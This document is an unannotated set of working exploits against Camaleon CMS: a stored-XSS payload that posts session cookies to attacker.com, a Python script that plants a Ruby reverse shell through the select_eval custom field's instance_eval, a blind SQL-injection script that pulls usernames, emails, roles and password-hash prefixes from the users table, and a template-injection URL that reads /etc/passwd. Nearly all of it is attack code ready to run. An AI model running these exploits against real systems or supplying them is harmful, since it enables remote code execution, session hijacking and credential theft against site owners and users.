fetch("/admin/post_type/2/drafts?post_id=2", {
  method: "POST",
  credentials: "include",
  headers: { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" },
  body: new URLSearchParams({
    authenticity_token: document.querySelector('meta[name="csrf-token"]').content,
    "post[title]": "<img src=x onerror=fetch('https://attacker.com',{method:'POST',mode:'no-cors',body:document.cookie})>",
    "post[slug]": "xss-draft-" + Date.now(),
    "post[content]": "a"
  })
}).then(r => r.text()).then(console.log)

instance_eval(field_options[:command])

import requests
import re
import argparse
import sys
from urllib.parse import urljoin
 
def login(session, base_url, username, password):
    """Login to Camaleon CMS admin panel."""
    login_url = urljoin(base_url, "/admin/login")
    print(f"[*] Fetching login page: {login_url}")
    
    resp = session.get(login_url)
    if resp.status_code != 200:
        print(f"[-] Failed to fetch login page: {resp.status_code}")
        return False
    
    html = resp.text
    token_match = re.search(r'name="authenticity_token" value="([^"]+)"', html) or \
                  re.search(r'<meta name="csrf-token" content="([^"]+)"', html)
    if not token_match:
        print("[-] Could not extract authenticity_token / csrf-token")
        return False
    
    token = token_match.group(1)
    print(f"[+] Login token: {token[:20]}...")
    
    login_data = {
        "authenticity_token": token,
        "user[username]": username,
        "user[password]": password,
    }
    
    print(f"[*] Logging in as {username}")
    post_resp = session.post(login_url, data=login_data, allow_redirects=True)
    
    if "/admin/logout" in post_resp.text.lower() or any(x in post_resp.url for x in ["/admin", "/dashboard"]):
        print("[+] Login successful")
        return True
    else:
        print(f"[-] Login failed (status {post_resp.status_code}, url: {post_resp.url})")
        return False
 
def main():
    parser = argparse.ArgumentParser(
        description="Camaleon CMS PoC: RCE via select_eval custom field (instance_eval)"
    )
    parser.add_argument("--target",    required=True,  help="e.g. http://127.0.0.1:3000")
    parser.add_argument("--lhost",     required=True,  help="Listener IP")
    parser.add_argument("--lport",     type=int, default=4444)
    parser.add_argument("--username",  default="admin")
    parser.add_argument("--password",  required=True)
    parser.add_argument("--cookies",   help="Semicolon-separated cookies (alternative to login)")
 
    args = parser.parse_args()
    target = args.target.rstrip("/")
 
    print("=== Camaleon CMS select_eval RCE PoC ===")
    print(f"Target     : {target}")
    print(f"Rev shell  : {args.lhost}:{args.lport}")
    print("Start listener: nc -lvnp", {args.lport})
    print("-" * 60)
 
    session = requests.Session()
    session.headers.update({"User-Agent": "Mozilla/5.0"})
 
    if args.cookies and not (args.username and args.password):
        cookie_dict = {}
        for item in args.cookies.split(";"):
            item = item.strip()
            if "=" in item:
                k, v = item.split("=", 1)
                cookie_dict[k] = v
        session.cookies.update(cookie_dict)
        print("[*] Using provided cookies")
    elif args.username and args.password:
        if not login(session, target, args.username, args.password):
            print("[-] Login failed. Exiting.")
            sys.exit(1)
    else:
        print("[-] Provide --username/--password or --cookies")
        sys.exit(1)
 
    # Get CSRF tokens and dynamic field key
    new_url = urljoin(target, "/admin/settings/custom_fields/new")
    resp_new = session.get(new_url)
    if resp_new.status_code != 200:
        print(f"[-] Failed to reach /new (status {resp_new.status_code})")
        sys.exit(1)
 
    html = resp_new.text
    cf_token_match = re.search(r'name="authenticity_token" value="([^"]+)"', html) or \
                     re.search(r'<meta name="csrf-token" content="([^"]+)"', html)
    if not cf_token_match:
        print("[-] No authenticity_token found")
        sys.exit(1)
    cf_token = cf_token_match.group(1)
 
    meta_match = re.search(r'<meta name="csrf-token" content="([^"]+)"', html)
    meta = meta_match.group(1) if meta_match else cf_token
 
    get_items_url = urljoin(target, "/admin/settings/custom_fields/get_items/select_eval")
    headers_ajax = {"X-Requested-With": "XMLHttpRequest", "X-CSRF-Token": meta}
    resp_items = session.post(get_items_url, headers=headers_ajax)
    if resp_items.status_code != 200:
        print(f"[-] get_items failed: {resp_items.status_code}")
        sys.exit(1)
 
    k_match = re.search(r'name="fields\[([^\]]+)\]\[id\]"', resp_items.text)
    if not k_match:
        print("[-] Could not find dynamic field key K")
        sys.exit(1)
    K = k_match.group(1)
    print(f"[+] Field key K = {K}")
 
    # Reverse Shell Payload
    payload = (
        f"require 'socket'; f=TCPSocket.open('{args.lhost}',{args.lport}).to_i; "
        f"spawn('/bin/bash','-i',in:f,out:f,err:f); {{'ok'=>'ok'}}"
    )
 
    print(f"[*] Using payload:\n    {payload}")
 
    # Create malicious custom field group
    create_url = urljoin(target, "/admin/settings/custom_fields")
    create_data = {
        "authenticity_token": cf_token,
        "custom_field_group[name]": "RevShellGroup",
        "custom_field_group[is_repeat]": "0",
        "custom_field_group[description]": "reverse shell",
        "custom_field_group[assign_group]": "PostType_Post,7",
        "custom_field_group[caption]": "Posts in: Page",
        f"fields[{K}][id]": "",
        f"fields[{K}][name]": "Rev Eval",
        f"fields[{K}][slug]": "rev_eval",
        f"fields[{K}][description]": "rev",
        f"field_options[{K}][field_key]": "select_eval",
        f"field_options[{K}][panel_hidden]": "",
        f"field_options[{K}][command]": payload,
        f"field_options[{K}][default_value]": "",
        f"field_options[{K}][required]": "0",
    }
 
    headers_create = {"Origin": target, "Referer": new_url}
    print("[*] Creating malicious field group...")
    resp_create = session.post(create_url, data=create_data, headers=headers_create)
 
    print(f"[+] Create status: {resp_create.status_code}")
    if resp_create.status_code not in (200, 302, 303):
        print("    Warning: creation may have failed")
 
    # Trigger
    trigger_url = urljoin(target, "/admin/post_type/7/posts/new")
    print(f"[*] Triggering RCE: GET {trigger_url}")
    session.get(trigger_url)
 
    print("\n[+] Exploit sent. Check your nc listener.")
 
if __name__ == "__main__":
    main()

#!/usr/bin/env python3
from __future__ import annotations
 
import argparse
import re
import secrets
import sys
from dataclasses import dataclass
 
import requests
 
def extract_csrf(html: str) -> str:
    m = re.search(r'name="csrf-token"\s+content="([^"]+)"', html)
    if not m:
        raise RuntimeError("Could not find CSRF token in HTML")
    return m.group(1)
 
def first_category_id(html: str) -> str | None:
    m = re.search(r'name="categories\[\]"\s+value="(\d+)"', html)
    return m.group(1) if m else None
 
def render_table(headers: list[str], rows: list[list[str]]) -> str:
    widths = [len(h) for h in headers]
    for row in rows:
        for i, cell in enumerate(row):
            widths[i] = max(widths[i], len(cell))
 
    sep = "+" + "+".join("-" * (w + 2) for w in widths) + "+"
 
    def fmt(values: list[str]) -> str:
        return "|" + "|".join(f" {values[i].ljust(widths[i])} " for i in range(len(values))) + "|"
 
    out = [sep, fmt(headers), sep]
    out.extend(fmt(row) for row in rows)
    out.append(sep)
    return "\n".join(out)
 
@dataclass
class UserRow:
    username: str
    email: str
    role: str
    password_digest_prefix: str
 
class H4SQLiHTTPPoC:
    def __init__(
        self,
        base_url: str,
        username: str,
        password: str,
        post_type_id: int,
        timeout: int,
    ) -> None:
        self.base = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.post_type_id = post_type_id
        self.timeout = timeout
        self.s = requests.Session()
        self.req_count = 0
 
    def _request(self, method: str, url: str, **kwargs) -> requests.Response:
        self.req_count += 1
        r = self.s.request(method, url, timeout=self.timeout, **kwargs)
        return r
 
    def login(self) -> None:
        login_url = f"{self.base}/admin/login"
        r = self._request("GET", login_url)
        r.raise_for_status()
        csrf = extract_csrf(r.text)
 
        r2 = self._request(
            "POST",
            login_url,
            data={
                "authenticity_token": csrf,
                "user[username]": self.username,
                "user[password]": self.password,
            },
            allow_redirects=True,
        )
        r2.raise_for_status()
        if "/admin/login" in r2.url and "user[password]" in r2.text:
            raise RuntimeError("Login failed")
 
    def _new_post_form(self) -> tuple[str, str | None]:
        url = f"{self.base}/admin/post_type/{self.post_type_id}/posts/new"
        r = self._request("GET", url)
        r.raise_for_status()
        return extract_csrf(r.text), first_category_id(r.text)
 
    def oracle(self, condition_sql: str) -> bool:
        csrf, category_id = self._new_post_form()
        marker = f"poc_{secrets.token_hex(4)}"
        slug = f"{marker}' OR (CASE WHEN ({condition_sql}) THEN 1 ELSE JSON('x') END)=1 OR '1'='2"
 
        data = {
            "authenticity_token": csrf,
            "post[title]": "h4-sqli-poc",
            "post[slug]": slug,
            "post[status]": "published",
            "post[content]": "x",
            "meta[summary]": "x",
            "meta[has_comments]": "1",
            "tags": "x",
            "commit": "Create",
        }
        if category_id:
            data["categories[]"] = category_id
 
        post_url = f"{self.base}/admin/post_type/{self.post_type_id}/posts"
        r = self._request("POST", post_url, data=data, allow_redirects=False)
 
        if r.status_code == 302:
            return True
        if r.status_code == 500:
            return False
        raise RuntimeError(f"Unexpected oracle response status: {r.status_code}")
 
    def exists_user_offset(self, offset: int) -> bool:
        return self.oracle(f"EXISTS(SELECT 1 FROM cama_users ORDER BY id LIMIT 1 OFFSET {offset})")
 
    def extract_len(self, expr_sql: str, max_len: int) -> int | None:
        for n in range(max_len + 1):
            if self.oracle(f"COALESCE(LENGTH(({expr_sql})),0)={n}"):
                return n
        return None
 
    def extract_value(self, expr_sql: str, max_len: int, charset: str, label: str) -> str | None:
        length = self.extract_len(expr_sql, max_len)
        if length is None:
            print(f"    [-] Could not determine length for {label}")
            return None
        if length == 0:
            return ""
 
        out: list[str] = []
        for pos in range(1, length + 1):
            found = "?"
            for ch in charset:
                esc = ch.replace("'", "''")
                cond = f"SUBSTR(COALESCE(({expr_sql}),''),{pos},1)='{esc}'"
                if self.oracle(cond):
                    found = ch
                    break
            out.append(found)
            print(f"\r    [*] {label}: {''.join(out)}", end="", flush=True)
        print()
        return "".join(out)
 
def main() -> int:
    ap = argparse.ArgumentParser(description="PoC Auto-Login and Extract Local Users")
    ap.add_argument("--base-url", default="http://127.0.0.1:3000")
    ap.add_argument("--username", default="admin")
    ap.add_argument("--password", default="admin123")
    ap.add_argument("--post-type-id", type=int, default=2)
    ap.add_argument("--max-users", type=int, default=10)
    ap.add_argument("--digest-prefix-len", type=int, default=12)
    ap.add_argument("--timeout", type=int, default=20)
    args = ap.parse_args()
 
    username_cs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-"
    email_cs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@._+-"
    role_cs = "abcdefghijklmnopqrstuvwxyz_"
    digest_cs = "./$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
 
    poc = H4SQLiHTTPPoC(
        base_url=args.base_url,
        username=args.username,
        password=args.password,
        post_type_id=args.post_type_id,
        timeout=args.timeout,
    )
 
    print("[1/3] Login...")
    poc.login()
    print("[2/3] Extracting users via SQLi oracle...")
 
    users: list[UserRow] = []
    for off in range(args.max_users):
        print(f"  - probing row offset {off}")
        if not poc.exists_user_offset(off):
            break
 
        uexpr = f"SELECT username FROM cama_users ORDER BY id LIMIT 1 OFFSET {off}"
        eexpr = f"SELECT email FROM cama_users ORDER BY id LIMIT 1 OFFSET {off}"
        rexpr = f"SELECT role FROM cama_users ORDER BY id LIMIT 1 OFFSET {off}"
        pexpr = (
            f"SELECT SUBSTR(password_digest,1,{args.digest_prefix_len}) "
            f"FROM cama_users ORDER BY id LIMIT 1 OFFSET {off}"
        )
 
        username = poc.extract_value(uexpr, 64, username_cs, f"user[{off}].username")
        if not username:
            print(f"    [-] stopping at offset {off} (empty username)")
            break
 
        email = poc.extract_value(eexpr, 128, email_cs, f"user[{off}].email") or ""
        role = poc.extract_value(rexpr, 32, role_cs, f"user[{off}].role") or ""
        digest = (
            poc.extract_value(
                pexpr,
                args.digest_prefix_len,
                digest_cs,
                f"user[{off}].password_digest_prefix",
            )
            or ""
        )
 
        users.append(UserRow(username=username, email=email, role=role, password_digest_prefix=digest))
 
    print("[3/3] Result")
    if not users:
        print("No users extracted.")
        print(f"HTTP requests sent: {poc.req_count}")
        return 1
 
    rows = []
    for idx, u in enumerate(users, start=1):
        rows.append([str(idx), u.username, u.email, u.role, u.password_digest_prefix])
 
    print(render_table(["#", "username", "email", "role", "password_digest_prefix"], rows))
    print(f"HTTP requests sent: {poc.req_count}")
    return 0
 
if __name__ == "__main__":
    sys.exit(main())

render inline: e.message

/admin/settings/test_email?email=<%25%3DFile.read('%2Fetc%2Fpasswd')%25>%40example.com